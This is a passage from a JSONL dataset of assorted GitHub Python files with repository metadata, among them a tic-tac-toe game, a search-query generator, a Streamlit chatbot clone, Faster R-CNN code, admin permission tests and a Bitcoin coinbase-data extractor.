child\n","repo_name":"ZeitOnline/vivi","sub_path":"core/src/zeit/content/cp/automatic.py","file_name":"automatic.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"}
{"seq_id":"43899493113","text":"def display_board(board):\n    print('\\n'*100)\n    print (' '+board[7]+' | '+board[8]+' | '+board[9]+' ')\n    print ('-----------')\n    print (' '+board[4]+' | '+board[5]+' | '+board[6]+' ')\n    print ('-----------')\n    print (' '+board[1]+' | '+board[2]+' | '+board[3]+' ')\n\ndef player_input():\n    #Getting correct input from Player 1\n    player_one = input(\"Player 1, please enter X or O: \")\n    player_one = player_one.upper()\n    while (player_one != 'X' and player_one != 'O'):\n        player_one = input(\"Player 1, please enter X or O: \")\n        player_one = player_one.upper()\n    \n    #Assigning Player 2\n    if player_one == 'X':\n        player_two = 'O'\n    else:\n        player_two = 'X'\n            \n    #Printing Player Selections\n    print (f\"Player 1 has selected: {player_one}\")    \n    print (f\"Player 2 will be: {player_two}\")\n    \n    return player_one, player_two\n\ndef place_marker(board, marker, position):\n    board[position] = marker\n\ndef win_check(board, marker):\n    return( (board[7] == board[8] == board[9] == marker) or #top row check\n    (board[4] == board[5] == board[6] == marker) or #middle row check\n    (board[1] == board[2] == board[3] == marker) or #bottom row check\n    (board[7] == board[4] == board[1] == marker) or #left column check\n    (board[8] == board[5] == board[2] == marker) or #middle column check\n    (board[9] == board[6] == board[3] == marker) or #right row check\n    (board[7] == board[5] == board[3] == marker) or #first diagonal check\n    (board[9] == board[5] == board[1] == marker)) #second diagonal check\n\ndef choose_first(player_list):\n    import random\n    player_list = [\"Player 1\", \"Player 2\"]\n    first_player = random.choice(player_list)\n    print (\"{0} will go first!\".format(first_player))\n    return first_player\n\ndef space_check(board, position):\n    return (board[position] != 'X' and board[position] != 'O')\n\ndef full_board_check(board):\n    for i in range(1,10):\n        if board[i] == 'X' or board[i] == 'O':\n            marker_count += marker_count + 1\n    return (marker_count == 9)\n\ndef player_choice(board):\n    position = int(input('Please enter a number 1-9: '))\n    while space_check(board, position) != True:\n        position = (int(input('Position taken, please enter another number 1-9: ')))\n    return int(position)\n\ndef replay():\n    player_response = input(\"Do you want to play again? (Y/N): \")\n    player_response = player_response.upper()\n    while player_response != 'Y' and player_response != 'N':\n        player_response = input(\"Please enter a valid selection (Y/N): \")\n        player_response = player_response.upper()\n    \n    if player_response == 'Y':\n        return (player_response == 'Y')\n\nprint('Welcome to Tic Tac Toe!')\n\n#asks the players which marker they would like to be and assigns variables\nplayer1_marker, player2_marker = player_input()\n\n#displays a new board\nboard = ['#',' ',' ',' ',' ',' ',' ',' ',' ',' ']\ndisplay_board(board)\n\n#randomly selects which player will go first\nplayer_list = [\"Player 1\", \"Player 2\"]\nfirst_player = choose_first(player_list)\n\n#First move    \nif first_player == \"Player 1\":\n    position = player_choice(board)\n    board[position] = player1_marker\n    place_marker(board,player1_marker,position)\n    display_board(board)\n    player1_turn = False\nelse:\n    position = player_choice(board)\n    board[position] = player2_marker\n    place_marker(board,player2_marker,position)\n    display_board(board)\n    player1_turn = True\n\nwhile (full_board_check(board) != True):\n    if player1_turn == True:\n        print (\"Player 1's turn\")\n        position = player_choice(board)\n        board[position] = player1_marker\n        place_marker(board,player1_marker,position)\n        display_board(board)\n        if win_check(board,player1_marker) == True:\n            print (\"Player 1 wins!\")\n        player1_turn = False\n    elif player1_turn == False:\n        print (\"Player 2's turn\")\n        position = player_choice(board)\n        board[position] = player2_marker\n        place_marker(board,player2_marker,position)\n        display_board(board)\n        if win_check(board,player2_marker) == True:\n            print (\"Player 2 wins!\")\n        player1_turn = True\n    \nif not replay():\n    print (\"Thanks for playing, come back again!\")","repo_name":"jktorrey/Tic_Tac_Toe","sub_path":"Tic_Tac_Toe.py","file_name":"Tic_Tac_Toe.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3461083573","text":"import json\n\nimport click\nfrom src.oneliner_utils import join_path, read_jsonl, write_jsonl\nfrom src.preprocessing import preprocessing\nfrom tqdm import tqdm\n\n\"\"\"\nquery = {\n    id:\n    text:\n    user_id:\n    rel_doc_ids:\n    user_doc_ids:\n    timestamp:\n}\n\"\"\"\n\n\ndef filter_queries_by_min_user_docs(queries, min_user_docs=5):\n    return [\n        x\n        for x in tqdm(\n            queries,\n            desc=f\"Removing queries with less than {min_user_docs} associated user docs\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        )\n        if len(x[\"user_doc_ids\"]) >= min_user_docs\n    ]\n\n\ndef filter_queries_by_min_relevants(queries, min_rel=1):\n    return [\n        x\n        for x in tqdm(\n            queries,\n            desc=f\"Removing queries with less than {min_rel} relevants\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        )\n        if len(x[\"rel_doc_ids\"]) >= min_rel\n    ]\n\n\ndef filter_queries_with_no_user(queries):\n    return [\n        x\n        for x in tqdm(\n            queries,\n            desc=\"Removing queries with no user\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        )\n        if x[\"user_id\"]\n    ]\n\n\ndef add_user_docs(dataset_path, queries):\n    authors_path = join_path(dataset_path, \"authors.jsonl\")\n    authors_dict = {x[\"id\"]: x[\"docs\"] for x in read_jsonl(authors_path)}\n\n    queries = [\n        q\n        | {\n            \"user_doc_ids\": [\n                x[\"doc_id\"]\n                for x in authors_dict[q[\"user_id\"]]\n                if x[\"timestamp\"] < q[\"timestamp\"]\n            ]\n        }\n        for q in tqdm(\n            queries,\n            desc=\"Adding users' documents\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        )\n    ]\n\n    # Sanity check\n    for q in queries:\n        assert (\n            q[\"id\"] not in q[\"user_doc_ids\"]\n        ), \"Error: query_id in user_doc_ids\"\n\n    return queries\n\n\ndef add_user(dataset_path, queries):\n    paper_authors_path = join_path(dataset_path, \"paper_authors.jsonl\")\n    paper_author_dict = {\n        x[\"doc_id\"]: x[\"author_ids\"][0] for x in read_jsonl(paper_authors_path)\n    }\n\n    return [\n        x | {\"user_id\": paper_author_dict.get(x[\"id\"], False)}\n        for x in tqdm(\n            queries, desc=\"Adding users\", mininterval=1.0, dynamic_ncols=True\n        )\n    ]\n\n\ndef add_relevants(dataset_path, queries):\n    paper_references_path = join_path(dataset_path, \"paper_references.jsonl\")\n    paper_references_dict = {\n        x[\"doc_id\"]: x[\"rel_doc_ids\"] for x in read_jsonl(paper_references_path)\n    }\n\n    return [\n        x | {\"rel_doc_ids\": paper_references_dict.get(x[\"id\"], [])}\n        for x in tqdm(\n            queries,\n            desc=\"Adding relevants\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        )\n    ]\n\n\ndef generate_title_queries(dataset_path: str):\n    papers_path = join_path(dataset_path, \"papers.jsonl\")\n\n    queries = []\n\n    with open(papers_path, \"r\") as papers_f:\n        for line in tqdm(\n            papers_f,\n            desc=\"Generating queries\",\n            mininterval=1.0,\n            dynamic_ncols=True,\n        ):\n            paper = json.loads(line)\n\n            query = {\n                \"id\": paper[\"id\"],\n                \"text\": preprocessing(paper[\"title\"]),\n                \"timestamp\": paper[\"timestamp\"],\n            }\n\n            queries.append(query)\n\n    return queries\n\n\n@click.command()\n@click.argument(\"fos_list\", nargs=-1)\n@click.option(\"--lang\", default=\"en\")\n@click.option(\"--min_rel\", default=1)\n@click.option(\"--min_user_docs\", default=20)\ndef main(lang, fos_list, min_rel, min_user_docs):\n    datasets_path = join_path(\"tmp\", \"datasets\")\n    lang_path = join_path(datasets_path, lang)\n\n    for i, fos in enumerate(fos_list):\n        print(f\"{i+1}/{len(fos_list)} - {fos}\")\n        dataset_path = join_path(lang_path, fos)\n\n        queries = generate_title_queries(dataset_path)\n        queries = add_relevants(dataset_path, queries)\n        queries = filter_queries_by_min_relevants(queries, min_rel)\n        queries = add_user(dataset_path, queries)\n        queries = filter_queries_with_no_user(queries)\n        queries = add_user_docs(dataset_path, queries)\n        queries = filter_queries_by_min_user_docs(queries, min_user_docs)\n\n        print(\"n queries :\", len(queries), \"\\n\")\n        write_jsonl(queries, join_path(dataset_path, \"queries.jsonl\"))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"AmenRa/a-multi-domain-benchmark-for-personalized-search-evaluation","sub_path":"processing/22_generate_queries.py","file_name":"22_generate_queries.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"30816078237","text":"s=str(input(\"Dati un sir:\"))\r\na=s.count(\"A\")\r\nprint(\"Numarul de aparitii ale caracterului 'A' in sir:\",a)\r\nif \"A\" in s:\r\n for i in s:\r\n    x=s.replace(\"A\",\"*\")\r\n    print(\"Sirul obtinut in urma substituirii:\",x)\r\nelse:\r\n    print(\"x)\",s)\r\nif \"B\" in s:\r\n for i in s:\r\n    b=s.replace(\"B\",\"\")\r\n    print(\"Sirul obtinut prin radierea a tuturor aparitiilor caracterului 'B': \",b)\r\nelse:\r\n    print(\"b)\",s)\r\nif \"MA\" in s:\r\n  for i in s:\r\n    c=s.count(\"MA\")\r\n    print(\"Numarul de aparitii a silabei 'MA': \",c)\r\nelse:\r\n    print(\"c) Nu avem silaba 'MA' in sirul dat\")\r\nif \"MA\"  in s:\r\n  for i in s:\r\n    y=s.replace(\"MA\",\"TA\")\r\n    print(\"Substituirea silabei 'MA' cu 'TA': \",y)\r\nif \"TO\" in s:\r\n  for i in s:   \r\n    z=s.replace(\"TO\",\"\")\r\n    print(\" Sirul obtinut prin radierea a tuturor aparitiilor silabe 'TO': \",z)\r\nelse:\r\n    print(\"z) \",s)\r\nd=len(s)\r\ng=s[d::-1]\r\nprint(\"d) Sirul invers:\",d)\r\n\r\n","repo_name":"Alexandra-Sontu/21.10.2021","sub_path":"problema 7.py","file_name":"problema 7.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6059801114","text":"def solution(s):\n    li = s[1:-2].split('}')\n    answer = []\n    set_tuple = []\n    \n    li[0] = ',' + li[0]\n\n    for i in li:\n        s = i[2:]\n        s_split = s.split(',')\n        tmp = []\n        for j in s_split:\n            tmp.append(int(j))\n        set_tuple.append(tmp)\n    \n    set_tuple.sort(key = lambda x : len(x))\n    \n    for i in set_tuple:\n        if not answer:\n            answer += i\n            continue\n        this = set(i)\n        before = set(answer)\n        answer += list(this - before)\n    \n    return answer\n\nprint(solution(\"{{2},{2,1},{2,1,3},{2,1,3,4}}\"))\nprint(solution(\"{{123}}\"))\nprint(solution(\"{{4,2,3},{3},{2,3,4,1},{2,3}}\"))\n\n'''\n    1.  문자열을 리스트로 나눠준다.\n    2.  리스트의 길이를 기준으로 리스트들을 오름차순으로 정렬한다.\n    3.  리스트들을 순회 하며 앞의 리스트에서 추가된 원소들을 answer에 넣어준다.\n\n    ex) 1.  \"{{2,1},{2},{2,1,3},{2,1,3,4}}\" -> {2,1   ,{2   ,{2,1,3    ,{2,1,3,4\n            \n            처음엔 }를 기준으로 split을 해주고\n            리스트별로 ,{ 를 없애주었다.\n\n        2.  2,1   2   2,1,3    2,1,3,4  ->  2    2,1   2,1,3    2,1,3,4\n        리스트들을 길이 순대로 정렬하였다\n\n\n        3.  2,1 에서 앞의 리스트 2를 볼 때 1이 추가 되었으므로 answer = [2,1(추가)]\n            2,1,3에서 앞의 리스트 2,1을 볼 때 3이 추가 되었으므로 answer = [2,1,3(추가)]\n            \n        \n        리스트를 순회하며 앞의 리스트와 비교하여 추가된 원소들을 답에 넣어준다.\n\n'''","repo_name":"SunivAlgo/Algorithm","sub_path":"JiHyeok/프로그래머스 레벨2/튜플.py","file_name":"튜플.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"2887672313","text":"import streamlit as st\nfrom streamlit_chat import message\n\nimport openai\nfrom config import open_api_key\nopenai.api_key = open_api_key\n\n# openAI code\n\n\ndef openai_create(prompt):\n\n    response = openai.Completion.create(\n        model=\"text-davinci-003\",\n        prompt=prompt,\n        temperature=0.9,\n        max_tokens=150,\n        top_p=1,\n        frequency_penalty=0,\n        presence_penalty=0.6,\n        stop=[\" Human:\", \" AI:\"]\n    )\n\n    return response.choices[0].text\n\n\ndef chatgpt_clone(input, history):\n    history = history or []\n    s = list(sum(history, ()))\n    print(s)\n    s.append(input)\n    inp = ' '.join(s)\n    output = openai_create(inp)\n    history.append((input, output))\n    return history, history\n\n\n# Streamlit App\nst.set_page_config(\n    page_title=\"Streamlit Chat - Demo\",\n    page_icon=\":robot:\"\n)\n\nst.header(\"ChatGPT Clone with Streamlit\")\n\nhistory_input = []\n\nif 'generated' not in st.session_state:\n    st.session_state['generated'] = []\n\nif 'past' not in st.session_state:\n    st.session_state['past'] = []\n\n\ndef get_text():\n    input_text = st.text_input(\"You: \", key=\"input\")\n    return input_text\n\n\nuser_input = get_text()\n\n\nif user_input:\n    output = chatgpt_clone(user_input, history_input)\n    history_input.append([user_input, output])\n    st.session_state.past.append(user_input)\n    st.session_state.generated.append(output[0])\n\nif st.session_state['generated']:\n\n    for i in range(len(st.session_state['generated'])-1, -1, -1):\n        message(st.session_state[\"generated\"][i], key=str(i))\n        message(st.session_state['past'][i],\n                is_user=True, key=str(i) + '_user')\n","repo_name":"afizs/chatgpt-clone","sub_path":"chatgpt.py","file_name":"chatgpt.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":288,"dataset":"github-code","pt":"19"}
{"seq_id":"51512308613","text":"from registers import Registers\nfrom typing import Union\n\n\nclass Instruction:\n    def __init__(self, op: str, a: str, b: Union[str, None] = None):\n        self._ops = {\n            \"inp\": self.inp,\n            \"add\": self.add,\n            \"mul\": self.mul,\n            \"div\": self.div,\n            \"mod\": self.mod,\n            \"eql\": self.eql,\n        }\n        self.op = self._ops[op]\n        self.a = a\n        self.b = b\n\n    def execute(self, registers: Registers):\n        # extract the operands\n        val_a = registers.get(self.a)\n        if isinstance(self.b, str):\n            try:\n                val_b = int(self.b)\n            except:\n                val_b = registers.get(self.b)\n        else:\n            val_b = self.b\n        # execute the instruction\n        res = self.op(val_a, val_b, registers)\n        # store the result\n        registers.set(self.a, res)\n\n    def inp(self, val_a: int, val_b: int, registers: Registers):\n        return registers.get_input()\n\n    def add(self, val_a: int, val_b: int, registers: Registers):\n        try:\n            val_a + val_b\n        except:\n            print(val_a, val_b, self.a, self.b, registers.get(\"w\"))\n        return val_a + val_b\n\n    def mul(self, val_a: int, val_b: int, registers: Registers):\n        return val_a * val_b\n\n    def div(self, val_a: int, val_b: int, registers: Registers):\n        assert val_b != 0\n        return val_a // val_b\n\n    def mod(self, val_a: int, val_b: int, registers: Registers):\n        assert val_b >= 0\n        return val_a % val_b\n\n    def eql(self, val_a: int, val_b: int, registers: Registers):\n        return 1 if val_a == val_b else 0\n","repo_name":"HetorusNL/advent_of_code","sub_path":"2021/24/instruction.py","file_name":"instruction.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72828009712","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision\nfrom sklearn.model_selection import train_test_split\nfrom torch.utils.data import DataLoader\n\nfrom model.arch.header import Res50BBHead\nfrom model.arch.respneunet import ResPneuNet\nfrom model.dataset import BBDataset\nfrom callbacks.optim import CLR\nfrom model.test import predict_model\nfrom model.train import fit_model\nfrom utils.checkpoint import save_checkpoint\nfrom utils.common import get_batch_info\nfrom utils.data_load import *\n\n\ndef loss_fn(model, criterion, data):\n    img, target = data\n    prediction = model(img)\n    loss = criterion(prediction, target)\n    return loss\n\n\ndef metric_fn(model, data):\n    img, target = data\n    prediction = model(img)\n    metric = F.l1_loss(prediction, target)\n    return metric\n\n\ndef pred_fn(model, data):\n    img = data\n    prediction = model(img)\n    prediction_array = prediction.data.cpu().numpy() * 1024.\n    return prediction_array.tolist()\n\n\ndef main():\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n    bb_df = pd.read_csv(bb_repo)\n    train_idx = np.arange(len(bb_df))\n    dev_idx, val_idx = train_test_split(train_idx, test_size=0.20)\n    dev_df = bb_df.iloc[dev_idx, :].reset_index(drop=True)\n    val_df = bb_df.iloc[val_idx, :].reset_index(drop=True)\n\n    bb_train_dataset = BBDataset(True, device, dev_df)\n    bb_dev_dataset = BBDataset(True, device, dev_df)\n    bb_val_dataset = BBDataset(True, device, val_df)\n    bb_test_dataset = BBDataset(False, device)\n    train_dataloader = DataLoader(bb_train_dataset, batch_size=32)\n    dev_dataloader = DataLoader(bb_dev_dataset, batch_size=32, shuffle=True)\n    val_dataloader = DataLoader(bb_val_dataset, batch_size=32)\n    test_dataloader = DataLoader(bb_test_dataset, batch_size=32)\n\n    preload_model = torchvision.models.resnet50(pretrained=True).to(device)\n    header_model = Res50BBHead([1000], 0.5).to(device)\n    model = ResPneuNet(preload_model, header_model)\n\n    n_epoch = 5\n    optimizer = optim.Adam(\n        [\n            {\"params\": model.preload_backbone.parameters(), \"lr\": 0.0001},\n            {\"params\": model.header.parameters(), \"lr\": 0.001},\n        ],\n        betas=(0.9, 0.999),\n        eps=1e-08,\n        weight_decay=0,\n        amsgrad=False,\n    )\n    criterion = nn.L1Loss().to(device)\n\n    n_obs, batch_size, n_batch_per_epoch = get_batch_info(dev_dataloader)\n    clr = CLR(n_epoch, n_batch_per_epoch, 0.1, 1., 0.95, 0.85, 2)\n    callbacks = [clr]\n\n    model = fit_model(\n        model,\n        n_epoch,\n        dev_dataloader,\n        optimizer,\n        criterion,\n        loss_fn,\n        metric_fn,\n        val_dataloader,\n        checkpoint=True,\n        model_fn=\"bb\",\n    )\n\n    prediction = predict_model(model, test_dataloader, pred_fn)\n    string_prediction = [\n        \"{} {} {} {}\".format(x[0], x[1], x[2], x[3]) for x in prediction\n    ]\n    patientid = test_dataloader.dataset.patientId\n    pneu_bb = string_prediction\n    bb_pred_df = pd.DataFrame({\"name\": patientid, \"label\": pneu_bb})\n    bb_pred_df.to_csv(bb_predict_repo, index=False)\n    save_checkpoint(model, optimizer, fname=\"bb\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"AdityaSidharta/kaggle_pneumonia","sub_path":"run/run_bb.py","file_name":"run_bb.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18770794085","text":"# -*- coding: utf-8 -*-\n# !@time: 2020/7/10 下午5:54\n# !@author: superMC @email: 18758266469@163.com\n# !@fileName: proposalTarget_creator.py\nimport torch\nfrom torchvision.ops import box_iou\n\nfrom experiments.config import opt\nfrom faster_rcnn.model.utils.bbox_tool import bbox2loc\nimport numpy as np\nfrom faster_rcnn.utils import array_tool as at\n\nclass ProposalTargetCreator:\n\n    def __init__(self, n_sample=128, pos_ratio=0.25, pos_iou_thresh=0.5, neg_iou_thresh_hi=0.5, neg_iou_thresh_lo=0.0,\n                 loc_normalize_mean=(0., 0., 0., 0.), loc_normalize_std=(0.1, 0.1, 0.2, 0.2)):\n        self.n_sample = n_sample\n        self.pos_ratio = pos_ratio\n        self.pos_iou_thresh = pos_iou_thresh\n        self.neg_iou_thresh_hi = neg_iou_thresh_hi\n        self.neg_iou_thresh_lo = neg_iou_thresh_lo\n        self.loc_normalize_mean = loc_normalize_mean\n        self.loc_normalize_std = loc_normalize_std\n\n    def forward(self, roi, bbox, label):\n        n_bbox, _ = bbox.shape\n        roi = torch.cat((roi, bbox), dim=0)  # trick 一定有个bbox 适配 方便之后cls\n        pos_roi_per_image = int(self.n_sample * self.pos_ratio)  # hard negative mining\n        iou = box_iou(roi, bbox)\n        gt_assignment = iou.argmax(dim=1)\n        max_iou = iou[torch.arange(gt_assignment.shape[0]), gt_assignment]\n        # max_iou = iou.max(dim=1, keepdim=False)[0 ]  # keep_dim\n        gt_roi_label = label[gt_assignment] + 1  # 背景为0 所以加1\n\n        pos_index = torch.where(max_iou >= self.pos_iou_thresh)[0]\n        pos_roi_per_this_image = int(min(pos_roi_per_image, pos_index.shape[0]))\n\n        if pos_index.shape[0] > 0:\n            indices = torch.randperm(pos_index.shape[0])[:pos_roi_per_this_image]\n            pos_index = pos_index[indices]\n\n        neg_index = torch.where((max_iou < self.neg_iou_thresh_hi) & (max_iou >= self.neg_iou_thresh_lo))[0]\n        neg_roi_per_this_image = self.n_sample - pos_roi_per_this_image\n        neg_roi_per_this_image = int(min(neg_roi_per_this_image, neg_index.shape[0]))\n\n        if neg_index.shape[0] > 0:\n            indices = torch.randperm(neg_index.shape[0])[:neg_roi_per_this_image]\n            neg_index = neg_index[indices]\n\n        keep_index = torch.cat((pos_index, neg_index), dim=0)\n        gt_roi_label = gt_roi_label[keep_index]\n        gt_roi_label[pos_roi_per_this_image:] = 0\n        sample_roi = roi[keep_index]\n\n        gt_roi_loc = bbox2loc(sample_roi, bbox[gt_assignment[keep_index]])\n        gt_roi_loc = (gt_roi_loc - torch.tensor(self.loc_normalize_mean, dtype=torch.float32).to(\n            opt.device)) / torch.tensor(self.loc_normalize_std, dtype=torch.float32).to(opt.device)\n\n        return sample_roi, gt_roi_loc, gt_roi_label\n\n    def __call__(self, roi, bbox, label):\n        return self.forward(roi, bbox, label)\n","repo_name":"superMC5657/faster-rcnn","sub_path":"faster_rcnn/model/rpn/proposalTarget_creator.py","file_name":"proposalTarget_creator.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33963340959","text":"import cv2\r\nimport numpy as np\r\n\r\nimg1 = cv2.imread('../images/draw/draw.jpg')          # queryImage\r\nimg2 = cv2.imread('../images/draw2/draw2.jpg')   # trainImage\r\n\r\n# Initiate SIFT detector\r\nsift = cv2.xfeatures2d.SURF_create()\r\n\r\n# find the key points and descriptors with SIFT\r\nkp1, des1 = sift.detectAndCompute(img1, None)\r\nkp2, des2 = sift.detectAndCompute(img2, None)\r\n\r\nbf = cv2.BFMatcher(cv2.NORM_L1, crossCheck=True)\r\nmatches = bf.match(des1, des2)\r\nmatches_sorted = sorted(matches, key=lambda x: x.distance)\r\n\r\nimg3 = cv2.drawMatches(img1, kp1, img2, kp2, matches1to2=matches_sorted[:200], outImg=np.ndarray(img1.shape))\r\ncv2.imwrite('match.png', img3)\r\ncv2.waitKey()","repo_name":"Ethan-zhengyw/VideoStabilizationWebApp","sub_path":"test/matchkps.py","file_name":"matchkps.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"1806174583","text":"import asyncio\n\n\n\nasync def read_stdout(stdout):\n    print('read_stdout')\n    while True:\n        buf = await stdout.read(10)\n        if not buf:\n            break\n\n        print(f'stdout: { buf }')\n\n\nasync def read_stderr(stderr):\n    print('read_stderr')\n    while True:\n        buf = await stderr.read()\n        if not buf:\n            break\n\n        print(f'stderr: { buf }')\n\n\nasync def write_stdin(stdin):\n    print('write_stdin')\n    for i in range(100):\n        buf = f'line: { i }\\n'.encode()\n        print(f'stdin: { buf }')\n\n        stdin.write(buf)\n        await stdin.drain()\n        await asyncio.sleep(0.5)\n\n\nasync def run():\n    proc = await asyncio.create_subprocess_exec(\n        '/usr/bin/tee',\n        stdin=asyncio.subprocess.PIPE,\n        stdout=asyncio.subprocess.PIPE,\n        stderr=asyncio.subprocess.PIPE)\n\n    await asyncio.gather(\n        read_stderr(proc.stderr),\n        read_stdout(proc.stdout),\n        write_stdin(proc.stdin))\n\n\nasyncio.run(run())\n\n\nfrom subprocess import Popen, PIPE\nfrom threading import Thread\n\nSHELL = False\nCMD = [b'/bin/bash', b'-i']\nCMD2 = [b'/usr/local/bin/python3.7', b'-i']\n\n\n\nasync def main():\n    proc = await asyncio.subprocess.create_subprocess_shell(\n        b' '.join(CMD), **POPEN_ARGS\n    )\n    proc.stdin.write(b'echo ONE\\n')\n    print(await proc.stdout.read(1024))\n    proc.stdin.write(b'ls\\n')\n    print(await proc.stdout.read(2048))\n    proc.stdin.write(b'exit\\n')\n    await proc.wait()\n\n\nasync def main2():\n    proc = await asyncio.subprocess.create_subprocess_shell(\n        b' '.join(CMD2), **POPEN_ARGS\n    )\n    proc.stdin.write(b'print(\"test\")\\n')\n    print(await proc.stdout.read(1024))\n    proc.stdin.write(b'dir()\\n')\n    print(await proc.stdout.read(2048))\n    proc.stdin.write(b'quit()\\n')\n    await proc.wait()\n\n\nif __name__ == '__main__':\n    asyncio.run(main2())\n","repo_name":"rec/test","sub_path":"python/async_python.py","file_name":"async_python.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"8823814212","text":"import pytest\n\n\nclass TestAdminPermissions:\n    PAGES = (\n        # (URL, accessible by role.Staff?)\n        (\"/admin/\", True),\n        (\"/admin/admins\", False),\n        (\"/admin/badge\", False),\n        (\"/admin/features\", False),\n        (\"/admin/groups\", True),\n        (\"/admin/mailer\", True),\n        (\"/admin/nipsa\", False),\n        (\"/admin/oauthclients\", False),\n        (\"/admin/organizations\", True),\n        (\"/admin/staff\", False),\n        (\"/admin/users\", True),\n        (\"/admin/search\", False),\n    )\n\n    @pytest.mark.usefixtures(\"with_logged_in_user\")\n    @pytest.mark.parametrize(\"url\", (page[0] for page in PAGES))\n    def test_not_accessible_by_regular_user(self, app, url):\n        app.get(url, status=404)\n\n    @pytest.mark.usefixtures(\"with_logged_in_admin\")\n    @pytest.mark.parametrize(\"url\", (page[0] for page in PAGES))\n    def test_accessible_by_admin(self, app, url):\n        app.get(url)\n\n    @pytest.mark.usefixtures(\"with_logged_in_staff_member\")\n    @pytest.mark.parametrize(\"url,accessible\", PAGES)\n    def test_accessible_by_staff(self, app, url, accessible):\n        res = app.get(url, expect_errors=not accessible)\n\n        assert res.status_code == 200 if accessible else 404\n\n    GROUP_PAGES = (\n        (\"POST\", \"/admin/groups/delete/{pubid}\", 302),\n        (\"GET\", \"/admin/groups/{pubid}\", 200),\n    )\n\n    @pytest.mark.usefixtures(\"with_logged_in_admin\")\n    @pytest.mark.parametrize(\"method,url_template,success_code\", GROUP_PAGES)\n    def test_group_end_points_accessible_by_admin(\n        self, app, group, method, url_template, success_code\n    ):\n        url = url_template.format(pubid=group.pubid)\n\n        app.request(url, method=method, status=success_code)\n\n    @pytest.mark.usefixtures(\"with_logged_in_staff_member\")\n    @pytest.mark.parametrize(\"method,url_template,success_code\", GROUP_PAGES)\n    def test_group_end_points_accessible_by_staff(\n        self, app, group, method, url_template, success_code\n    ):\n        url = url_template.format(pubid=group.pubid)\n\n        app.request(url, method=method, status=success_code)\n\n    @pytest.mark.usefixtures(\"with_logged_in_user\")\n    @pytest.mark.parametrize(\"method,url_template,_\", GROUP_PAGES)\n    def test_group_end_points_not_accessible_by_regular_user(\n        self, app, group, method, url_template, _\n    ):\n        url = url_template.format(pubid=group.pubid)\n\n        app.request(url, method=method, status=404)\n\n    @pytest.fixture\n    def group(self, factories, db_session):\n        # Without an org `views.admin.groups:GroupEditViews._update_appstruct`\n        # fails\n        group = factories.Group(organization=factories.Organization())\n        db_session.commit()\n        return group\n","repo_name":"hypothesis/h","sub_path":"tests/functional/h/views/admin/permissions_test.py","file_name":"permissions_test.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":2810,"dataset":"github-code","pt":"38"}
{"seq_id":"73876493871","text":"# -*- coding: utf-8 -*-\nfrom bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException\nimport numpy as np\nimport pandas as pd\nimport re\nimport os\n\n\nclass CoinbaseTxData(object):\n    def __init__(self):\n        # rpc_user and rpc_password are set in the bitcoin.conf file\n        rpc_user = \"jacob\"\n        rpc_password = \"j5wDEJTZ_3xia_O_CxGlIHqUuvrqBAeH_ove3Fow57I=\"\n        self.rpc_connection = AuthServiceProxy(\n            \"http://%s:%s@127.0.0.1:8332\" % (rpc_user, rpc_password))\n\n        dir_path = os.path.dirname(os.path.realpath(__file__))\n        self.data_root_path = dir_path + '/EmpiricalData'\n        if not os.path.exists(self.data_root_path):\n            os.makedirs(self.data_root_path)\n\n    def extract_coinbase_data(self, block_height):\n\n        block_hash = self.rpc_connection.getblockhash(block_height)\n        block = self.rpc_connection.getblock(block_hash)\n        txs = block[\"tx\"]\n\n        if block_height > 0:\n            raw_coinbase_tx = self.rpc_connection.getrawtransaction(txs[0])\n            coinbase_tx = self.rpc_connection.decoderawtransaction(\n                raw_coinbase_tx)\n\n        # coinbase_tx for genesis block is not retrievable via rpc\n        elif block_height == 0:\n            coinbase_tx = {\n                \"txid\": \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b\",\n                \"version\": 1,\n                \"locktime\": 0,\n                \"vin\": [\n                        {\n                            \"coinbase\": \"04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73\",\n                            \"sequence\": 4294967295\n                        }\n                ],\n                \"vout\": [\n                    {\n                        \"value\": 50.00000000,\n                        \"n\": 0,\n                        \"scriptPubKey\": {\n                            \"asm\": \"04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f 